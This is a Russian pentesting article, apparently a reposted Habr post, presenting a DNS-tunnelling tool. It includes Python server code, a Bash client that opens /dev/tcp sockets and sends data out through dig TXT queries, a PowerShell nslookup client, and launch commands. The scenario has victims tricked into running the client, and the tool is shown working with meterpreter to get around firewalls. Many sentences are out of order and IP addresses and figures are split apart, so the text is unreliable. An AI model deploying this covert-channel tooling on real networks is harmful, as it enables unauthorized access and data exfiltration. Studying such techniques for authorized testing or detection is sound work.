Главная » Хабрахабр » Трафик в конце туннеля или DNS в пентесте

Трафик в конце туннеля или DNS в пентесте

В ходе проектов по тестированию на проникновение мы нередко сталкиваемся с жестко сегментированными сетями, практически полностью изолированными от внешнего мира. Привет! В этой статье мы расскажем, как решить подобную задачу в 2018 году и какие подводные камни встречаются в процессе. Порой, для решения данной проблемы требуется пробросить трафик через единственно доступный протокол — DNS. Также будут рассмотрены популярные утилиты и представлен релиз собственной open-source утилиты с возможностями, которых обычно так не хватает в существующих аналогичных инструментах.

Тем не менее, немного теории о DNS-туннелировании можно найти под спойлером. На Хабре уже есть несколько статей, где объясняется, что такое DNS-туннелирование.

Что такое DNS-туннелирование

Бывает, что доступ в сеть наглухо отрезан файрволом, а передавать данные нужно позарез, и тогда на помощь приходит техника DNS-туннелирования.

На схеме всё выглядит так:

Связь будет крайне медленной, но этого хватит для проникновения в локальную сеть организации или, например, для срочного выхода в Интернет по платному Wi-Fi за границей. Запросы к DNS даже при самых строгих настройках файерволла иногда все же проходят, и это можно использовать, отвечая на них со своего сервера, находящегося по ту сторону.

Мы выбрали для сравнительного тестирования пять наиболее популярных: Сейчас в Интернете можно найти множество утилит для эксплуатации этой техники — каждая со своими фичами и багами.

  • dnscat2
  • iodine
  • dns2tcp
  • Heyoka
  • OzymanDNS

Тут же мы приведем только результаты. Подробнее о том, как мы их тестировали, можно почитать в нашей статье на Хакере.

Как видно из результатов, работать можно, но с точки зрения тестирований на проникновение есть недостатки:

  • компилируемые клиенты — на машинах с антивирусами гораздо проще запустить что-то интерпретируемое, чем бинарный файл;
  • нестабильная работа под Windows;
  • необходимость в установке дополнительного софта в некоторых случаях.

Из-за данных недостатков нам понадобилось разработать свой инструмент, и вот как это вышло...

Предыстория

В холле находился общедоступный компьютер, используемый для печати документов, справок и прочих бумаг. Всё началось во время внутреннего пентеста одного банка. Наша цель: получить наибольшую выгоду от машины, которая была под управлением системы Windows 7, на борту имела “Антивирус Касперского” и разрешала заходить только на определенные страницы (но при этом была возможность резолва DNS имен).

Пути с эксплуатацией машины при помощи бинарных программ были сразу убраны в сторону, так как “великий и ужасный” “Касперский” при обнаружении исполняемого файла сразу же его тёр. Проведя первичный анализ и получив дополнительные данные из тачки, мы выработали несколько векторов атаки. Однако нам удалось получить возможность запускать скрипты от имени локального администратора, после чего одной из идей стала как раз возможность создания DNS-туннеля.

Но в итоге максимум, что нам удавалось произвести, это установить соединение на небольшое время, после чего клиент падал. Поискав возможные способы, мы нашли клиент на PowerShell для dnscat2 (о нем мы писали ранее).

Собственно, это и стало одной из причин разработки своего инструмента для DNS-туннелирования. Это нас, мягко говоря, сильно расстроило, так как в данной ситуации наличие интерпретируемого клиента было просто необходимо.

Требования

Главными требованиями к самим себе у нас стали:

  • наличие универсальных (насколько это возможно) и интерпретируемых клиентов для Unix и Windows систем. Для клиентов были выбраны языки bash и Powershell соответственно. В будущем планируется клиент на Perl для unix;
  • возможность проброса трафика от конкретного приложения;
  • поддержка нескольких клиентов для одного пользователя.

Архитектура проекта

В нашем представлении утилита состоит из 3 частей: клиент на внутренней машине, DNS-сервер и небольшой прокси между приложением пентестера и DNS-сервером. Исходя из требований, мы приступили к разработке.

Для начала мы решили пробросить туннель через TXT-записи.

Принцип работы довольно прост:

  • Пентестер запускает DNS-сервер.
  • Пентестер (или пользователь, через социальную инженерию) запускает клиента на внутренней машине. На клиенте присутствуют такие параметры, как имя клиента и домен, а также есть возможность прямого указания IP-адреса DNS-сервера.
  • Пентестер (из внешней сети) запускает прокси, где указывает IP-адрес DNS-сервера, а также порт, куда стучаться, IP-цели (например ssh во внутренней сети, где сидит клиент) и, соответственно, порт цели. Также необходим ID клиента, который можно получить, добавив ключ --clients.
  • Пентестер запускает интересующее его приложение, указывая порт прокси на localhost.

Протокол общения

Рассмотрим довольно простой протокол общения сервера с клиентом.

Регистрация

При запуске клиента, он регистрируется на сервере, запрашивая TXT-запись через поддомен следующего формата:

0<7 random chars><client name>.<your domain>

0 — ключ регистрации
<7 random chars> — для избежания кеширования записей DNS
<client name> — имя, заданное клиенту при запуске
<your domain> — ex.: xakep.ru
В случае успешной регистрации, клиент в TXT-ответе получает сообщение об успехе, а также присвоенный ему id, который он дальше будет использовать.

Основной цикл

После регистрации клиент начинает опрашивать сервер о наличии новых данных в формате

1<7 random chars><id>.<your domain>

В случае наличия новых данных, в TXT-ответе он получает их в формате

<id><target ip>:<target port>:<data in base64>, иначе, приходит <id>ND.

Цикл загрузки данных

В случае, если ответ есть, мы считываем, из того, что пришло, буфер размером N Кб, разбиваем его на блоки длинной 250-<len_of_your_domain>-<количество протокольных символов> и шлем данные поблочно в формате:
2<4randomchars><id><block_id>.<data>.<your_domain> Клиент в цикле проверяет, пришли ли данные от нашего <target>.

В случае успеха передачи блока получаем OK с некоторыми данными о переданном блоке, в случае завершения передачи буфера получаем ENDBLOCK.

DNS-сервер

ProxyResolver и переопределив метод resolve(). DNS-сервер для туннелирования был написан на Python3 с использованием библиотеки dnslib, которая позволяет легко создать свой DNS-резолвер, унаследовавшись от объекта dnslib.

Великолепный dnslib позволяет создать свой ProxyDNS очень быстро:

Немножко кода сервера

class Resolver(ProxyResolver): def __init__(self, upstream): super().__init__(upstream, 53, 5) def resolve(self, request, handler): # волшебный метод domain_request = DOMAIN_REGEX.findall(str(request.q.qname)) type_name = QTYPE[request.q.qtype] if not domain_request: # все DNS запросы, которые не относятся к туннелю, отправляем в другое место: например, в google return super().resolve(request, handler) # ТУТ КОД, который определяет переменную result reply = request.reply() reply.add_answer(RR( rname=DNSLabel(str(request.q.qname)), rtype=QTYPE.TXT, rdata=dns.TXT(wrap(result, 255)), # делим ответ на части по 255 символов, если он большой, соблюдая стандарт ttl=300 )) if reply.rr: return reply if __name__ == '__main__': port = int(os.getenv('PORT', 53)) upstream = os.getenv('UPSTREAM', '8.8.8.8') # куда отправляем запросы не для туннеля resolver = Resolver(upstream) udp_server = DNSServer(resolver, port=port) tcp_server = DNSServer(resolver, port=port, tcp=True) udp_server.start_thread() tcp_server.start_thread() try: while udp_server.isAlive(): sleep(1) except KeyboardInterrupt: pass

В resolve() мы определим реакции на DNS-запросы со стороны клиента: регистрацию, запрос новых записей, обратную передачу данных и удаление пользователя.

Информацию о пользователях храним в базе данных SQLite, буфер обмена данными находится в оперативной памяти и имеет следующую структуру, в которой ключом является номер клиента:

, ...
}

Он ловит соединения от пентестера и выполняет маршрутизацию: какому клиенту отправлять запросы. Для помещения данных от пентестера в буфер мы написали небольшой “приемник”, который запущен в отдельном потоке.

Пользователю перед запуском сервера необходимо задать всего лишь один параметр: DOMAIN_NAME — имя домена, с которым будет работать сервер.

Клиент на Bash

Bash предоставляет возможность установки соединения через /dev/tcp/, даже с правами непривилегированного пользователя. Для написания клиента для Unix систем был выбран Bash, так как он чаще всего встречается в современных Unix системах.

Для общения с DNS используется стандартная утилита dig. Мы не будем подробно разбирать каждый кусок кода, взглянем только на наиболее интересные моменты.
Принцип работы клиента прост. Под спойлером подробнее. Клиент регистрируется на сервере, после чего в вечном цикле начинает выполнять запросы по протоколу, описанному ранее.

Подробнее о Bash клиенте

Идет проверка, было ли установлено соединение, и если да, то выполняется функция reply (чтение пришедших данных от target, разбиение и отправка на сервер).

Если они обнаружены, то мы проверяем, нужно ли сбрасывать соединение. После этого уточняется, есть ли новые данные от сервера. 0. Сам разрыв происходит, когда нам приходит информация о target с ip 0. 0 и портом 00. 0. 0. В этом случае мы очищаем файловый дескриптор (если он не был открыт, никаких проблем не возникнет) и меняем target ip на пришедший 0. 0. 0.

Как только следующие сообщения начнут слать нам данные для target, мы, в случае, если прошлый ip не совпадает с текущим (после сброса так и будет), меняем target на новый, и устанавливаем соединение через команду exec 3<>/dev/tcp/$ip/$port, где $ip — target, $port — target port.
В итоге, если соединение уже установлено, то пришедший кусок данных декодится и летит в дескриптор через команду echo -e -n ${data_array[2]} | base64 -d >&3, где ${data_array[2]} — то, что мы получили от сервера. Далее по коду мы смотрим, есть ли необходимость установить новое соединение.

while :
do if [[ $is_set = 'SET' ]] then reply fi data=$(get_data $id) if [[ ${data:0:2} = $id ]] then if [[ ${data:2:2} = 'ND' ]] then sleep 0.1 else IFS=':' read -r -a data_array <<< $data data=${data_array[0]} is_id=${data:0:2} ip=${data:2} port=${data_array[1]} if [[ $is_id = $id ]] then if [[ $ip = '0.0.0.0' && $port = '00' ]] then exec 3<&- exec 3>&- is_set='NOTSET' echo "Connection OFF" last_ip=$ip fi if [[ $last_ip != $ip ]] then exec 3<>/dev/tcp/$ip/$port is_set='SET' echo "Connection ON" last_ip=$ip fi if [[ $is_set = 'SET' ]] then echo -e -n ${data_array[2]} | base64 -d >&3 fi fi fi fi
done

Сначала мы считываем 2048 байт из дескриптора и сразу энкодим их через $(timeout 0. Теперь рассмотрим отправку в функции reply. Далее же, если ответ пустой, выходим из функции, иначе начинаем операцию по разбиению и отправке. 1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0). В случае успеха выходим из цикла, иначе пробуем, пока не получится. Заметим, что после формирования запроса для отправки через dig, идет проверка успешности доставки.

reply() { response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0) if [[ $response != '' ]] then debug_echo 'Got response from target server ' response_len=${#response} number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN})) if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]] then number_of_blocks-=1 fi debug_echo 'Sending message back...' point=0 for ((i=$number_of_blocks;i>=0;i--)) do blocks_data=${response:$point:$MESSAGE_LEN} if [[ ${#blocks_data} -gt 63 ]] then localpoint=0 while : do block=${blocks_data:localpoint:63} if [[ $block != '' ]] then dat+=$block. localpoint=$((localpoint + 63)) else break fi done blocks_data=$dat dat='' point=$((point + MESSAGE_LEN)) else blocks_data+=. fi while : do block=$(printf %03d $i) check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+') if [[ $check_deliver = 'ENDBLOCK' ]] then debug_echo 'Message delivered!' break fi IFS=':' read -r -a check_deliver_array <<< $check_deliver deliver_data=${check_deliver_array[0]} block_check=${deliver_data:2} if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]] then break fi done done else debug_echo 'Empty message from target server, forward the next package ' fi }

Powershell клиент:

Net. Так как нам была нужна полная интерпретируемость и работа на большинстве актуальных систем, основу клиента для Windows составляют стандартная утилита nslookup для связи через DNS и объект System. TcpClient для установления соединения во внутренней сети. Sockets.

Каждая итерация цикла представляет собой вызов команды nslookup по протоколу, описанному ранее. Работает все также очень просто.

Например, для регистрации выполняем команду:
$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null
Если возникают ошибки, то мы их не показываем, отправляя в $null значения дескриптора ошибок.

nslookup возвращает нам подобный ответ:

После чего нам нужно вытянуть все строчки в кавычках, для чего проходимся по ним регуляркой:

$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }

От DNS сервера информация base64-декодируется, и байты отправляются на жертву. Теперь можно выполнять обработку полученных команд.
Каждый раз, когда меняется IP-адрес “жертвы”, выполняется создание TCP-клиента, устанавливается соединение и начинает выполняться передача данных. Всё.
При нажатии Ctrl+C выполняется запрос на удаление клиента. Если “жертва” что-то ответила, то кодируем, делим на части и выполняем запросы nslookup согласно протоколу.

Proxy:

Прокси для пентестера представляет из себя небольшой прокси сервер на python3.

В параметрах нужно указать IP DNS-сервера, порт, куда коннектиться на сервере, опция --clients возвращает список зарегистрированных клиентов, --target - target ip, --target_port - target port, --client — id клиента, с которым мы будем работать (видно после исполнения --clients), --send_timeout — таймаут для отправки сообщений от приложения.

После мы посылаем информацию о нашей цели: \x01client_id:ip:port:\n
Далее, при отправке сообщений к клиенту, мы отправляем байты в формате \x03data, а приложению пересылаем просто сырые байты.
Также прокси поддерживает режим SOCKS5. При запуске с параметром --clients, прокси посылает серверу запрос в формате \x00GETCLIENTS\n.
В случае, когда мы начинаем работу, при подключении посылаем сообщение в формате \x02RESET:client_id\n для сброса предыдущего подключения.

Какие трудности могут возникнуть?

Не будем забывать, что DNS-туннель — штука тонкая, и на его работу может влиять множество факторов, начиная от архитектуры сети, заканчивая качеством коннекта до вашего рабочего сервера. Как и в любом механизме, в утилите могут возникнуть сбои.

Например, при большой скорости печати, работая через ssh, стоит настроить параметр --send_timeout, так как иначе клиент начинает подвисать. В ходе тестирования нами изредка были замечены небольшие сбои. Ещё встречались проблемы с резолвом доменов при работе с proxychains, однако это тоже поправимо, если указать дополнительный параметр для proxychains. Также иногда соединение может не устанавливаться с первого раза, но это легко лечится перезапуском прокси, так как при новом подключении прошлое соединение будет сброшено. Стоит заметить, что на данный момент утилита не контролирует появление лишних запросов от кеширующих DNS серверов, поэтому иногда может падать соединение, однако это опять же лечится способом, описанным выше.

Запуск

Настраиваем NS записи на домене:

Ждем, пока кэш обновится (до 5 часов обычно).

Запускаем сервер:
python3 ./server.py --domain oversec.ru

Запускаем клиент (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1

Запускаем клиент (Win):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2

197. Посмотрим список подключенных клиентов:
python3 ./proxy.py --dns 138. 150 --dns_port 9091 --clients 178.

197. Запускаем прокси:
python3 ./proxy.py --dns 138. 150 --dns_port 9091 --socks5 --localport 9090 --client 1 178.

Тестируем:

После того, как сервер и хотя бы один клиент были запущены, мы можем обращаться к прокси, как будто это наша удаленная машина.
Попробуем смоделировать следующую ситуацию: пентестер хочет скачать файл с сервера из локальной сети организации, защищенной файерволом, при этом с помощью методов социальной инженерии он смог заставить запустить внутри сети DNS-клиент и узнать пароль SSH сервера.

Пентестер у себя на машине запускает прокси, указывая необходимого клиента и далее может делать подобные обращения, которые отправятся на клиент, а из клиента — в локальную сеть.
scp -P9090 -C root@localhost:/root/dnserver.py test.kek

Посмотрим, что получилось:

Скорость получилась довольно приличная для DNS-туннеля: 4. Слева вверху можно видеть DNS-запросы, которые приходят на сервер, справа сверху — трафик прокси, слева снизу — трафик с клиента, а снизу справа — наше приложение. 9Кб/сек с использованием сжатия.

8 kb/s: При запуске без сжатия, утилита показала скорость 1.

Посмотрим внимательно на трафик DNS-сервера, для этого используем утилиту tcpdump.
tcpdump -i eth0 udp port 53

Если данные есть, то сервер отвечает набором TXT-записей, а иначе %client_num%ND (39ND). Видим, что все соответствует описанному протоколу: клиент постоянно опрашивает сервер, есть ли у него какие-то новые данные для этого клиента с помощью запросов вида 1c6Zx9Vi39.oversec.ru. MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc. Клиент передает информацию на сервер с помощью запросов вида 28sTx39003. Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY. 2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n. 0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.

На следующих видео вы можете наглядно рассмотреть работу утилиты в связке с meterpreter и в режиме SOCKS5.

Итог:

Какие особенности у данной разработки и почему мы советуем использовать ее? Давайте подведем небольшой итог.

  1. Интерпретируемые клиенты на Bash и Powershell: никаких EXE-шников и ELF-ов, которые бывает проблематично запустить.
  2. Стабильность соединения: в тестах наша утилита вела себя гораздо стабильнее, а если и случались какие-то баги, то можно было просто переподключиться, при этом клиент не падал, как в случае с dnscat2, например.
  3. Достаточно высокая скорость для DNS-туннеля: конечно, скорость не дотягивает до iodine, но там гораздо более низкоуровневое компилируемое решение.
  4. Не требуется прав администратора: клиент Bash работает без прав администратора железно, а Powershell-скрипты иногда запрещены политиками безопасности, но это довольно просто обходится.
  5. Есть режим socks5 прокси, что позволяет делать так curl -v --socks5 127.0.0.1:9011 https://ident.me или запускать nmap на всей внутренней сети.

Код утилиты размещен тут


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

Векторные представления товаров, или еще одно применение модели Word2Vec

Когда видов товаров тоже много, решить задачу помогает модель Word2Vec. Каждый день полтора миллиона людей ищут на Ozon самые разные товары, и к каждому из них сервис должен подбирать похожие (если пылесос все-таки нужен помощней) или сопутствующие (если к поющему ...

[Перевод] Внутренняя и внешняя линковка в C++

Всем добрый день! Надеемся, что она будет полезна и интересна для вас, как и нашим слушателям. Представляем вам перевод интересной статьи, который подготовили для вас рамках курса «Разработчик C++». Поехали. Хотите узнать, для чего используется ключевое слово extern, или как ...